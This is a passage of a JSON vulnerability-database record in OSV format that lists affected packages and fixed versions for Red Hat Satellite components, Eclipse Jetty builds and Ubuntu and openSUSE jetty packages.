Hat:satellite:6.17::el9","package":"python3.11-pyjwt","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.13.0-1.el9pc"}]}],"bundled":10},{"source":"osv","ecosystem":"Red Hat:satellite_capsule:6.17::el9","package":"python-pillow","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:12.3.0-1.el9pc"}]}],"bundled":10},{"source":"osv","ecosystem":"Red Hat:satellite_capsule:6.17::el9","package":"python-pillow-debugsource","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:12.3.0-1.el9pc"}]}],"bundled":10},{"source":"osv","ecosystem":"Red Hat:satellite_capsule:6.17::el9","package":"python3.11-pillow","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:12.3.0-1.el9pc"}]}],"bundled":10},{"source":"osv","ecosystem":"Red Hat:satellite_capsule:6.17::el9","package":"python3.11-pillow-debuginfo","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:12.3.0-1.el9pc"}]}],"bundled":10},{"source":"osv","ecosystem":"Red Hat:satellite:6.17::el9","package":"python-pillow","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:12.3.0-1.el9pc"}]}],"bundled":10},{"source":"osv","ecosystem":"Red Hat:satellite:6.17::el9","package":"python-pillow-debugsource","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:12.3.0-1.el9pc"}]}],"bundled":10},{"source":"osv","ecosystem":"Red Hat:satellite:6.17::el9","package":"python3.11-pillow","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:12.3.0-1.el9pc"}]}],"bundled":10},{"source":"osv","ecosystem":"Red Hat:satellite:6.17::el9","package":"python3.11-pillow-debuginfo","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:12.3.0-1.el9pc"}]}],"bundled":10},{"source":"osv","ecosystem":"Red Hat:satellite_capsule:6.17::el9","package":"rubygem-faraday","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:1.10.6-1.el9sat"}]}],"bundled":10},{"source":"osv","ecosystem":"Red Hat:satellite:6.17::el9","package":"rubygem-faraday","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:1.10.6-1.el9sat"}]}],"bundled":10},{"source":"osv","ecosystem":"Red Hat:satellite_capsule:6.17::el9","package":"rubygem-nokogiri","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:1.15.7-3.el9sat"}]}],"bundled":10},{"source":"osv","ecosystem":"Red Hat:satellite_capsule:6.17::el9","package":"rubygem-nokogiri-debuginfo","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:1.15.7-3.el9sat"}]}],"bundled":10},{"source":"osv","ecosystem":"Red Hat:satellite_capsule:6.17::el9","package":"rubygem-nokogiri-debugsource","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:1.15.7-3.el9sat"}]}],"bundled":10},{"source":"osv","ecosystem":"Red Hat:satellite:6.17::el9","package":"rubygem-nokogiri","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:1.15.7-3.el9sat"}]}],"bundled":10},{"source":"osv","ecosystem":"Red Hat:satellite:6.17::el9","package":"rubygem-nokogiri-debuginfo","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:1.15.7-3.el9sat"}]}],"bundled":10},{"source":"osv","ecosystem":"Red Hat:satellite:6.17::el9","package":"rubygem-nokogiri-debugsource","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:1.15.7-3.el9sat"}]}],"bundled":10},{"source":"osv","ecosystem":"Red Hat:satellite_capsule:6.16::el8","package":"openvox-agent","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:8.24.1-3.el8sat"}]}],"bundled":12},{"source":"osv","ecosystem":"Red Hat:satellite:6.16::el8","package":"openvox-agent","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:8.24.1-3.el8sat"}]}],"bundled":12},{"source":"osv","ecosystem":"Red Hat:satellite_capsule:6.16::el9","package":"openvox-agent","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:8.24.1-3.el9sat"}]}],"bundled":12},{"source":"osv","ecosystem":"Red Hat:satellite:6.16::el9","package":"openvox-agent","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:8.24.1-3.el9sat"}]}],"bundled":12},{"source":"osv","ecosystem":"Red Hat:satellite_capsule:6.16::el8","package":"openvox-server","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:8.14.1-1.el8sat"}]}],"bundled":12},{"source":"osv","ecosystem":"Red Hat:satellite:6.16::el8","package":"openvox-server","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:8.14.1-1.el8sat"}]}],"bundled":12},{"source":"osv","ecosystem":"Red Hat:satellite_capsule:6.16::el9","package":"openvox-server","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:8.14.1-1.el9sat"}]}],"bundled":12},{"source":"osv","ecosystem":"Red Hat:satellite:6.16::el9","package":"openvox-server","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:8.14.1-1.el9sat"}]}],"bundled":12},{"source":"osv","ecosystem":"Red Hat:satellite:6.16::el8","package":"rubygem-katello","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.14.0.21-1.el8sat"}]}],"bundled":12},{"source":"osv","ecosystem":"Red Hat:satellite:6.16::el9","package":"rubygem-katello","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.14.0.21-1.el9sat"}]}],"bundled":12},{"source":"osv","ecosystem":"Red Hat:satellite_capsule:6.16::el8","package":"python-pyjwt","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.13.0-1.el8pc"}]}],"bundled":12},{"source":"osv","ecosystem":"Red Hat:satellite_capsule:6.16::el8","package":"python3.11-pyjwt+crypto","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.13.0-1.el8pc"}]}],"bundled":12},{"source":"osv","ecosystem":"Red Hat:satellite_capsule:6.16::el8","package":"python3.11-pyjwt","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.13.0-1.el8pc"}]}],"bundled":12},{"source":"osv","ecosystem":"Red Hat:satellite:6.16::el8","package":"python-pyjwt","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.13.0-1.el8pc"}]}],"bundled":12},{"source":"osv","ecosystem":"Red Hat:satellite:6.16::el8","package":"python3.11-pyjwt+crypto","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.13.0-1.el8pc"}]}],"bundled":12},{"source":"osv","ecosystem":"Red Hat:satellite:6.16::el8","package":"python3.11-pyjwt","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.13.0-1.el8pc"}]}],"bundled":12},{"source":"osv","ecosystem":"Red Hat:satellite_capsule:6.16::el9","package":"python-pyjwt","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.13.0-1.el9pc"}]}],"bundled":12},{"source":"osv","ecosystem":"Red Hat:satellite_capsule:6.16::el9","package":"python3.11-pyjwt+crypto","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.13.0-1.el9pc"}]}],"bundled":12},{"source":"osv","ecosystem":"Red Hat:satellite_capsule:6.16::el9","package":"python3.11-pyjwt","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.13.0-1.el9pc"}]}],"bundled":12},{"source":"osv","ecosystem":"Red Hat:satellite:6.16::el9","package":"python-pyjwt","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.13.0-1.el9pc"}]}],"bundled":12},{"source":"osv","ecosystem":"Red Hat:satellite:6.16::el9","package":"python3.11-pyjwt+crypto","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.13.0-1.el9pc"}]}],"bundled":12},{"source":"osv","ecosystem":"Red Hat:satellite:6.16::el9","package":"python3.11-pyjwt","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.13.0-1.el9pc"}]}],"bundled":12},{"source":"osv","ecosystem":"Red Hat:satellite_capsule:6.16::el8","package":"libsolv","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1:0.7.20-7.el8sat"}]}],"bundled":12},{"source":"osv","ecosystem":"Red Hat:satellite_capsule:6.16::el8","package":"libsolv-debuginfo","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1:0.7.20-7.el8sat"}]}],"bundled":12},{"source":"osv","ecosystem":"Red Hat:satellite_capsule:6.16::el8","package":"libsolv-debugsource","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1:0.7.20-7.el8sat"}]}],"bundled":12},{"source":"osv","ecosystem":"Red Hat:satellite_capsule:6.16::el8","package":"libsolv-demo-debuginfo","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1:0.7.20-7.el8sat"}]}],"bundled":12},{"source":"osv","ecosystem":"Red Hat:satellite_capsule:6.16::el8","package":"libsolv-tools-debuginfo","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1:0.7.20-7.el8sat"}]}],"bundled":12},{"source":"osv","ecosystem":"Red Hat:satellite_capsule:6.16::el8","package":"perl-solv-debuginfo","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1:0.7.20-7.el8sat"}]}],"bundled":12},{"source":"osv","ecosystem":"Red Hat:satellite_capsule:6.16::el8","package":"python3-solv","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1:0.7.20-7.el8sat"}]}],"bundled":12},{"source":"osv","ecosystem":"Red Hat:satellite_capsule:6.16::el8","package":"python3-solv-debuginfo","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1:0.7.20-7.el8sat"}]}],"bundled":12},{"source":"osv","ecosystem":"Red Hat:satellite_capsule:6.16::el8","package":"ruby-solv-debuginfo","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1:0.7.20-7.el8sat"}]}],"bundled":12},{"source":"osv","ecosystem":"Red Hat:satellite:6.16::el8","package":"libsolv","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1:0.7.20-7.el8sat"}]}],"bundled":12},{"source":"osv","ecosystem":"Red Hat:satellite:6.16::el8","package":"libsolv-debuginfo","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1:0.7.20-7.el8sat"}]}],"bundled":12},{"source":"osv","ecosystem":"Red Hat:satellite:6.16::el8","package":"libsolv-debugsource","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1:0.7.20-7.el8sat"}]}],"bundled":12},{"source":"osv","ecosystem":"Red Hat:satellite:6.16::el8","package":"libsolv-demo-debuginfo","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1:0.7.20-7.el8sat"}]}],"bundled":12},{"source":"osv","ecosystem":"Red Hat:satellite:6.16::el8","package":"libsolv-tools-debuginfo","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1:0.7.20-7.el8sat"}]}],"bundled":12},{"source":"osv","ecosystem":"Red Hat:satellite:6.16::el8","package":"perl-solv-debuginfo","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1:0.7.20-7.el8sat"}]}],"bundled":12},{"source":"osv","ecosystem":"Red Hat:satellite:6.16::el8","package":"python3-solv","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1:0.7.20-7.el8sat"}]}],"bundled":12},{"source":"osv","ecosystem":"Red Hat:satellite:6.16::el8","package":"python3-solv-debuginfo","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1:0.7.20-7.el8sat"}]}],"bundled":12},{"source":"osv","ecosystem":"Red Hat:satellite:6.16::el8","package":"ruby-solv-debuginfo","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1:0.7.20-7.el8sat"}]}],"bundled":12},{"source":"osv","ecosystem":"Red Hat:satellite_capsule:6.16::el8","package":"python-pillow","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:12.3.0-1.el8pc"}]}],"bundled":12},{"source":"osv","ecosystem":"Red Hat:satellite_capsule:6.16::el8","package":"python-pillow-debugsource","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:12.3.0-1.el8pc"}]}],"bundled":12},{"source":"osv","ecosystem":"Red Hat:satellite_capsule:6.16::el8","package":"python3.11-pillow","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:12.3.0-1.el8pc"}]}],"bundled":12},{"source":"osv","ecosystem":"Red Hat:satellite_capsule:6.16::el8","package":"python3.11-pillow-debuginfo","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:12.3.0-1.el8pc"}]}],"bundled":12},{"source":"osv","ecosystem":"Red Hat:satellite:6.16::el8","package":"python-pillow","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:12.3.0-1.el8pc"}]}],"bundled":12},{"source":"osv","ecosystem":"Red Hat:satellite:6.16::el8","package":"python-pillow-debugsource","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:12.3.0-1.el8pc"}]}],"bundled":12},{"source":"osv","ecosystem":"Red Hat:satellite:6.16::el8","package":"python3.11-pillow","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:12.3.0-1.el8pc"}]}],"bundled":12},{"source":"osv","ecosystem":"Red Hat:satellite:6.16::el8","package":"python3.11-pillow-debuginfo","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:12.3.0-1.el8pc"}]}],"bundled":12},{"source":"osv","ecosystem":"Red Hat:satellite_capsule:6.16::el9","package":"python-pillow","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:12.3.0-1.el9pc"}]}],"bundled":12},{"source":"osv","ecosystem":"Red Hat:satellite_capsule:6.16::el9","package":"python-pillow-debugsource","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:12.3.0-1.el9pc"}]}],"bundled":12},{"source":"osv","ecosystem":"Red Hat:satellite_capsule:6.16::el9","package":"python3.11-pillow","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:12.3.0-1.el9pc"}]}],"bundled":12},{"source":"osv","ecosystem":"Red Hat:satellite_capsule:6.16::el9","package":"python3.11-pillow-debuginfo","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:12.3.0-1.el9pc"}]}],"bundled":12},{"source":"osv","ecosystem":"Red Hat:satellite:6.16::el9","package":"python-pillow","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:12.3.0-1.el9pc"}]}],"bundled":12},{"source":"osv","ecosystem":"Red Hat:satellite:6.16::el9","package":"python-pillow-debugsource","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:12.3.0-1.el9pc"}]}],"bundled":12},{"source":"osv","ecosystem":"Red Hat:satellite:6.16::el9","package":"python3.11-pillow","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:12.3.0-1.el9pc"}]}],"bundled":12},{"source":"osv","ecosystem":"Red Hat:satellite:6.16::el9","package":"python3.11-pillow-debuginfo","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:12.3.0-1.el9pc"}]}],"bundled":12},{"source":"osv","ecosystem":"Red Hat:satellite_capsule:6.16::el8","package":"rubygem-faraday","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:1.10.6-1.el8sat"}]}],"bundled":12},{"source":"osv","ecosystem":"Red Hat:satellite:6.16::el8","package":"rubygem-faraday","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:1.10.6-1.el8sat"}]}],"bundled":12},{"source":"osv","ecosystem":"Red Hat:satellite_capsule:6.16::el9","package":"rubygem-faraday","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:1.10.6-1.el9sat"}]}],"bundled":12},{"source":"osv","ecosystem":"Red Hat:satellite:6.16::el9","package":"rubygem-faraday","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:1.10.6-1.el9sat"}]}],"bundled":12},{"source":"osv","ecosystem":"Red Hat:satellite_capsule:6.16::el8","package":"rubygem-nokogiri","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:1.15.7-3.el8sat"}]}],"bundled":12},{"source":"osv","ecosystem":"Red Hat:satellite_capsule:6.16::el8","package":"rubygem-nokogiri-debuginfo","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:1.15.7-3.el8sat"}]}],"bundled":12},{"source":"osv","ecosystem":"Red Hat:satellite_capsule:6.16::el8","package":"rubygem-nokogiri-debugsource","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:1.15.7-3.el8sat"}]}],"bundled":12},{"source":"osv","ecosystem":"Red Hat:satellite:6.16::el8","package":"rubygem-nokogiri","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:1.15.7-3.el8sat"}]}],"bundled":12},{"source":"osv","ecosystem":"Red Hat:satellite:6.16::el8","package":"rubygem-nokogiri-debuginfo","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:1.15.7-3.el8sat"}]}],"bundled":12},{"source":"osv","ecosystem":"Red Hat:satellite:6.16::el8","package":"rubygem-nokogiri-debugsource","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:1.15.7-3.el8sat"}]}],"bundled":12},{"source":"osv","ecosystem":"Red Hat:satellite_capsule:6.16::el9","package":"rubygem-nokogiri","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:1.15.7-3.el9sat"}]}],"bundled":12},{"source":"osv","ecosystem":"Red Hat:satellite_capsule:6.16::el9","package":"rubygem-nokogiri-debuginfo","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:1.15.7-3.el9sat"}]}],"bundled":12},{"source":"osv","ecosystem":"Red Hat:satellite_capsule:6.16::el9","package":"rubygem-nokogiri-debugsource","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:1.15.7-3.el9sat"}]}],"bundled":12},{"source":"osv","ecosystem":"Red Hat:satellite:6.16::el9","package":"rubygem-nokogiri","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:1.15.7-3.el9sat"}]}],"bundled":12},{"source":"osv","ecosystem":"Red Hat:satellite:6.16::el9","package":"rubygem-nokogiri-debuginfo","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:1.15.7-3.el9sat"}]}],"bundled":12},{"source":"osv","ecosystem":"Red Hat:satellite:6.16::el9","package":"rubygem-nokogiri-debugsource","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:1.15.7-3.el9sat"}]}],"bundled":12},{"source":"osv","ecosystem":"Red Hat:satellite_capsule:6.18::el9","package":"openvox-agent","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:8.24.1-3.el9sat"}]}],"bundled":10},{"source":"osv","ecosystem":"Red Hat:satellite:6.18::el9","package":"openvox-agent","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:8.24.1-3.el9sat"}]}],"bundled":10},{"source":"osv","ecosystem":"Red Hat:satellite_capsule:6.18::el9","package":"openvox-server","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:8.14.1-1.el9sat"}]}],"bundled":10},{"source":"osv","ecosystem":"Red Hat:satellite:6.18::el9","package":"openvox-server","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:8.14.1-1.el9sat"}]}],"bundled":10},{"source":"osv","ecosystem":"Red Hat:satellite:6.18::el9","package":"rubygem-katello","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.18.0.15-1.el9sat"}]}],"bundled":10},{"source":"osv","ecosystem":"Red Hat:satellite_capsule:6.18::el9","package":"python3.12-pyjwt+crypto","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.13.0-1.el9pc"}]}],"bundled":10},{"source":"osv","ecosystem":"Red Hat:satellite_capsule:6.18::el9","package":"python3.12-pyjwt","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.13.0-1.el9pc"}]}],"bundled":10},{"source":"osv","ecosystem":"Red Hat:satellite:6.18::el9","package":"python3.12-pyjwt+crypto","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.13.0-1.el9pc"}]}],"bundled":10},{"source":"osv","ecosystem":"Red Hat:satellite:6.18::el9","package":"python3.12-pyjwt","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.13.0-1.el9pc"}]}],"bundled":10},{"source":"osv","ecosystem":"Red Hat:satellite_capsule:6.18::el9","package":"python3.12-pillow","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:12.3.0-1.el9pc"}]}],"bundled":10},{"source":"osv","ecosystem":"Red Hat:satellite_capsule:6.18::el9","package":"python3.12-pillow-debuginfo","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:12.3.0-1.el9pc"}]}],"bundled":10},{"source":"osv","ecosystem":"Red Hat:satellite_capsule:6.18::el9","package":"python3.12-pillow-debugsource","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:12.3.0-1.el9pc"}]}],"bundled":10},{"source":"osv","ecosystem":"Red Hat:satellite:6.18::el9","package":"python3.12-pillow","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:12.3.0-1.el9pc"}]}],"bundled":10},{"source":"osv","ecosystem":"Red Hat:satellite:6.18::el9","package":"python3.12-pillow-debuginfo","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:12.3.0-1.el9pc"}]}],"bundled":10},{"source":"osv","ecosystem":"Red Hat:satellite:6.18::el9","package":"python3.12-pillow-debugsource","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:12.3.0-1.el9pc"}]}],"bundled":10},{"source":"osv","ecosystem":"Red Hat:satellite_capsule:6.18::el9","package":"rubygem-faraday","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:1.10.6-1.el9sat"}]}],"bundled":10},{"source":"osv","ecosystem":"Red Hat:satellite:6.18::el9","package":"rubygem-faraday","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:1.10.6-1.el9sat"}]}],"bundled":10},{"source":"osv","ecosystem":"Red Hat:satellite_capsule:6.18::el9","package":"rubygem-nokogiri","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:1.15.7-3.el9sat"}]}],"bundled":10},{"source":"osv","ecosystem":"Red Hat:satellite_capsule:6.18::el9","package":"rubygem-nokogiri-debuginfo","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:1.15.7-3.el9sat"}]}],"bundled":10},{"source":"osv","ecosystem":"Red Hat:satellite_capsule:6.18::el9","package":"rubygem-nokogiri-debugsource","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:1.15.7-3.el9sat"}]}],"bundled":10},{"source":"osv","ecosystem":"Red Hat:satellite:6.18::el9","package":"rubygem-nokogiri","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:1.15.7-3.el9sat"}]}],"bundled":10},{"source":"osv","ecosystem":"Red Hat:satellite:6.18::el9","package":"rubygem-nokogiri-debuginfo","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:1.15.7-3.el9sat"}]}],"bundled":10},{"source":"osv","ecosystem":"Red Hat:satellite:6.18::el9","package":"rubygem-nokogiri-debugsource","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:1.15.7-3.el9sat"}]}],"bundled":10},{"source":"osv","ecosystem":"Rocky Linux:9","package":"jmc","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:8.2.0-19.el9_8.2"}]}],"bundled":2},{"source":"osv","ecosystem":"Root:Maven","package":"org.eclipse.jetty:jetty-http","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"12.0.17-aikido.1"},{"fixed":"9.4.57.v20241219-aikido.2"},{"fixed":"12.0.13-aikido.7"},{"fixed":"12.0.3-aikido.7"},{"fixed":"9.4.57.v20241219-aikido.3"},{"fixed":"12.0.13-aikido.8"},{"fixed":"12.0.13-aikido.9"},{"fixed":"12.0.16-aikido.4"},{"fixed":"12.0.3-aikido.8"},{"fixed":"10.0.14-aikido.1"},{"fixed":"12.0.13-aikido.10"},{"fixed":"12.0.16-aikido.5"},{"fixed":"12.0.3-aikido.9"},{"fixed":"9.4.57.v20241219-aikido.4"},{"fixed":"9.4.57.v20241219-aikido.5"},{"fixed":"11.0.26-aikido.4"}]}]},{"source":"osv","ecosystem":"Root:Maven","package":"io.root.org.eclipse.jetty:jetty-http","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"9.4.57.v20241219-root.io.1"},{"fixed":"12.0.17-root.io.1"},{"fixed":"12.0.3-root.io.3"},{"fixed":"12.0.13-root.io.6"},{"fixed":"12.0.16-root.io.2"},{"fixed":"12.0.3-root.io.4"},{"fixed":"12.0.3-root.io.5"},{"fixed":"12.0.3-root.io.6"},{"fixed":"9.4.57.v20241219-root.io.2"},{"fixed":"12.0.13-root.io.7"},{"fixed":"12.0.3-root.io.7"},{"fixed":"12.0.16-root.io.3"},{"fixed":"9.4.57.v20241219-root.io.3"},{"fixed":"12.0.13-root.io.8"},{"fixed":"12.0.13-root.io.9"},{"fixed":"12.0.16-root.io.4"},{"fixed":"12.0.3-root.io.8"},{"fixed":"10.0.14-root.io.1"},{"fixed":"12.0.13-root.io.10"},{"fixed":"12.0.16-root.io.5"},{"fixed":"12.0.3-root.io.9"},{"fixed":"9.4.57.v20241219-root.io.4"},{"fixed":"9.4.57.v20241219-root.io.5"},{"fixed":"11.0.26-root.io.4"}]}]},{"source":"osv","ecosystem":"Ubuntu:16.04:LTS","package":"jetty9","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["9.2.14-1"]},{"source":"osv","ecosystem":"Ubuntu:18.04:LTS","package":"jetty9","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["9.2.22-2","9.2.22-3","9.2.23-1","9.4.15-1~18.04.1ubuntu1"]},{"source":"osv","ecosystem":"Ubuntu:20.04:LTS","package":"jetty9","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["9.4.18-2build2","9.4.26-1"]},{"source":"osv","ecosystem":"Ubuntu:22.04:LTS","package":"jetty9","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["9.4.39-3","9.4.44-2","9.4.44-3","9.4.44-4","9.4.45-1"]},{"source":"osv","ecosystem":"Ubuntu:24.04:LTS","package":"jetty9","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["9.4.51-2","9.4.53-1"]},{"source":"osv","ecosystem":"Ubuntu:25.10","package":"jetty9","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["9.4.56-1","9.4.57-1"]},{"source":"osv","ecosystem":"Ubuntu:26.10","package":"jetty12","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["12.0.32-1"]},{"source":"osv","ecosystem":"Ubuntu:26.10","package":"jetty9","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["9.4.58-1","9.4.58-2"]},{"source":"osv","ecosystem":"Ubuntu:26.04:LTS","package":"jetty12","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["12.0.17-3.1","12.0.32-1"]},{"source":"osv","ecosystem":"Ubuntu:26.04:LTS","package":"jetty9","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["9.4.57-1","9.4.57-1.1","9.4.58-1"]},{"source":"osv","ecosystem":"openSUSE:Tumbleweed","package":"jetty-minimal","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"9.4.58-4.1"}]}],"bundled":2}],"products":[{"vendor":"eclipse","product":"jetty"},{